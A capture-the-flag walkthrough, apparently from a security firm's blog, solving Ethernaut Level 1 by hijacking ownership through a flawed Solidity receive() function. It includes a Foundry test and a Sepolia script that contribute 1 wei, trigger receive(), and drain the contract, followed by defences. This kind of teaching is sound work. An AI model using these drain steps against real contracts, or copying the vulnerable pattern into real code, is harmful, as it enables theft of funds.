Ethernaut Level 1 Walkthrough: Exploiting Access Control in Solidity
In this article, we will analyze and solve Ethernaut Level 1: Fallback.
This level looks simple, but it teaches one of the most important lessons in smart contract security: weak access control can hand the entire contract to an attacker.
Besides solving the challenge, we will also understand:
- What
receiveandfallbackfunctions are - Why poorly designed access control is dangerous
- How a direct ETH transfer can change a contract's owner
- How to build an attacker contract that takes control
- How to validate the exploit using Foundry and Sepolia
- How to defend against it properly
If you are a developer, this article will help you understand why every path that changes sensitive state must be protected.
If you are interested in smart contract security, this challenge is the perfect entry point into access control analysis.
You can find more Web3 security content on our YouTube - Seclat channel.
Challenge Description
The contract tracks each user's contributions and has an owner.
Users can contribute small amounts of ETH, and only the owner can withdraw the funds.
The goal of the challenge is:
Become the owner of the contract and drain its entire balance.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Insecure access control |
| Root Cause: | The receive function reassigns owner on a trivial check |
| Impact: | Contract takeover and complete loss of funds |
| Severity: | Critical |
| Attack Type: | Ownership hijack via direct ETH transfer |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Root Cause of the Vulnerability
The contract exposes two paths to become the owner.
The first one is legitimate: contribute more than the current owner, who starts with 1000 ETH. That is practically impossible, because contribute() requires msg.value < 0.001 ether.
The second path lives in the receive function:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
This function runs whenever someone sends ETH directly to the contract without calling any function.
The problem is that it reassigns ownership on a condition that is trivial to satisfy:
You only need to have contributed any amount greater than zero and send any amount of ETH greater than zero.
It does not check accumulated contributions, does not compare against the owner's balance, and requires no permissions. Anyone can meet both conditions in seconds.
This violates a core security principle in Solidity:
Any path that changes sensitive state, such as contract ownership, must be protected with strict access control.
Understanding receive and fallback Functions
In Solidity, a contract can receive ETH without any specific function being called.
The flow is as follows:
- A user sends ETH to the contract with
call,transfer, orsend. - If no calldata is provided,
receive()runs. - If calldata is sent that matches no function,
fallback()runs. - Both functions can modify state.
The design flaw appears when these functions do more than accept ETH.
In this challenge, receive() changes the contract owner. That turns a simple transfer into a takeover.
Why fallback Functions Are Dangerous
The receive and fallback functions are silent entry points.
They execute without the developer noticing, often just from receiving ETH.
If sensitive logic is placed inside them, an invisible attack path is created:
- It does not appear in the obvious public interface of the contract.
- It does not require calling a named function.
- It is triggered by a transaction as simple as sending ETH.
The practical rule is clear:
- Keep
receiveandfallbackas simple as possible. - Never change ownership, roles, or permissions inside them.
- If they must modify state, apply the same access control you would give any critical function.
Attack Strategy
Now that we understand the vulnerability, we can design the exploit.
We know that:
contribute()accepts amounts below 0.001 ether.- A minimal contribution leaves
contributions[msg.sender] > 0. receive()makes us the owner if we contributed first and then send ETH directly.withdraw()can only be called by the owner.
Therefore, our strategy will be:
- Contribute a minimal amount, for example 1 wei.
- Send a direct ETH transfer to the contract to trigger
receive(). - Become the new owner.
- Call
withdraw()and drain the entire balance.
Validating the Exploit with Foundry
After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.
// SPDX-License-Identifier: MIT
// Fallback_L1.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Fallback} from "src/levels/Fallback.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestFallback_L1 is Test, Utils {
Ethernaut ethernaut;
Fallback instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DummyFactory factory = DummyFactory(getOldFactory("FallbackFactory"));
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Fallback(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
instance.contribute{value: 1 wei}();
(bool ok,) = address(instance).call{value: 1 wei}("");
require(ok, "receive failed");
instance.withdraw();
assertEq(instance.owner(), player, "Player is not the new owner");
assertEq(address(instance).balance, 0, "not 0 balance");
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
To execute the exploit test on a Sepolia fork, run:
forge test --mp Fallback_L1.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
You must configure the SEPOLIA_RPC variable inside your .env file.
If the terminal does not recognize the variable, run:
source .env
Once executed, we can verify that the attacker became the owner and that the contract was drained.
Solving the Level on Sepolia
Now we will create a script to execute the exploit directly against the Ethernaut instance.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Fallback} from "src/levels/Fallback.sol";
import {console} from "forge-std/console.sol";
contract FallbackScript is Script {
Fallback public target;
address player = "0xYourSepoliaWalletAddress";
function setUp() public {
target = Fallback(payable("0xYourEthernautInstance"));
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
target.contribute{value: 1 wei}();
(bool ok,) = address(target).call{value: 1 wei}("");
require(ok, "receive failed");
target.withdraw();
console.log("Nuevo owner:", target.owner());
console.log("Balance del target:", address(target).balance);
vm.stopBroadcast();
}
}
Running the Script
First, execute the script locally:
forge script scripts/Fallback.s.sol --rpc-url $SEPOLIA_RPC
If everything works correctly, broadcast it to Sepolia:
forge script scripts/Fallback.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Once the exploit finishes, the vulnerable contract balance becomes zero and the level is solved. You just need to submit the instance on the Ethernaut website.
How to Prevent This Vulnerability
The core defense is to treat ownership changes as a privileged operation.
Strict access control
Never change owner inside receive or fallback. If you need to transfer ownership, do it in an explicit, protected function:
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "zero address");
owner = newOwner;
}
Keep receive functions minimal
The receive function should, at most, only accept ETH:
receive() external payable {}
If your contract does not need to receive ETH without calldata, consider reverting to close the path entirely.
Use battle-tested patterns
Libraries like OpenZeppelin's Ownable centralize ownership control and prevent accidental reassignments:
import "@openzeppelin/contracts/access/Ownable.sol";
contract Secure is Ownable {
// Ownership only changes through transferOwnership, guarded by onlyOwner
}
Lessons Learned
This challenge shows that security does not depend on the size of the code, but on protecting every sensitive path.
Key lessons from this level:
- Every ownership or role change must sit behind access control.
- The
receiveandfallbackfunctions are real entry points, not decorations. - A seemingly harmless ETH transfer can change critical state.
- Keep receive functions as simple as possible.
- Reuse audited patterns instead of writing access control by hand.
Conclusion
In this challenge, we exploited insecure access control that allowed taking ownership of the contract with a simple ETH transfer.
We contributed a minimal amount, triggered the receive function to become the owner, and then drained the entire balance.
This level is an excellent introduction to:
- Access control analysis
receiveandfallbackfunctions- Silent attack paths
- Secure ownership design
- Real-world exploit methodology
You can find more Web3 security content on our blog.
If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.